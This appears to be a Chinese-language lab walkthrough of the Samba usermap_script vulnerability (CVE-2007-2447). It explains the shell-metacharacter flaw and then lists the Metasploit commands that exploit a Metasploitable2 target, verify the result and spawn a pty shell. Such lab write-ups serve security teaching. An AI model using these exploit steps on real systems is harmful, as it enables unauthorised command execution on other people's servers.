一、介绍
- Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。
- SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
- SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。
二、原理
- usermap_script:CVE-2007-2447
- Samba用户名映射脚本命令执行
- Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了
/bin/sh
。如果在调用smb.conf
中定义的外部脚本时,通过对/bin/sh
的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令
三、影响版本
- Samba版本3.0.20到3.0.25rc3,当使用非默认用户名映射脚本配置选项
- 通过指定一个用户名包含shell元字符,攻击者可以执行任意命令
- 不需要身份验证来利用此漏洞,因为此选项用于在身份验证之前映射用户名
四、复现准备
- 靶机:Metasplotable2-Linux - 192.168.9.147
- 攻击机:Kali - 192.168.9.148
五、漏洞复现
-
使用nmap扫描靶机的IP地址,可以看到靶机的139和445端口开放,且使用了Samba
-
启动metasploit
msfconsole
- 选择漏洞库
search samba
use exploit/multi/samba/usermap_script
-
设置参数,
-
查看需要设置的参数:
show options
-
设置要攻击的机器IP:
set RHOST 192.168.9.147
(可以设置目标端口是445,也可以是139)
-
-
开始攻击
exploit
-
利用成功,执行
uname –a
验证
-
进入交付模式
python -c 'import pty;pty.spawn("/bin/sh")'